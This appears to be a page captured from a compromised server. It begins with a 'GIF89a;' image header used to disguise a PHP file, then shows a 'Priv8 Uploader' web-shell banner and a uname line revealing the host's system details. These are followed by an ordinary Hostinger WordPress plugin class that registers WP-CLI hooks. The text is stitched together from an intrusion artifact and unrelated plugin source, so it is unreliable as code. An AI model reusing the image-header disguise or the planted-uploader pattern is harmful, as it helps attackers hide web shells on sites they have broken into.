GIF89a;
Priv8 Uploader By InMyMine7
Linux server.fluxioninnovation.in 6.8.0-1041-oracle #42~22.04.1-Ubuntu SMP Fri Dec 5 16:59:35 UTC 2025 aarch64
<?php
namespace Hostinger;
use WP_CLI;
defined( 'ABSPATH' ) || exit;
class Cli {
/**
* Load required files and hooks to make the CLI work.
*/
public function __construct() {
$this->hooks();
}
/**
* Sets up and hooks WP CLI to our CLI code.
*
* @return void
*/
private function hooks(): void {
if ( ! class_exists( '\WP_CLI' ) ) {
return;
}
if ( class_exists( '\Hostinger\Cli\Commands\Maintenance' ) ) {
WP_CLI::add_hook( 'after_wp_load', array( 'Hostinger\Cli\Commands\Maintenance', 'define_command' ) );
}
if ( class_exists( '\Hostinger\Cli\Commands\AI' ) ) {
WP_CLI::add_hook( 'after_wp_load', array( 'Hostinger\Cli\Commands\AI', 'define_command' ) );
}
}
}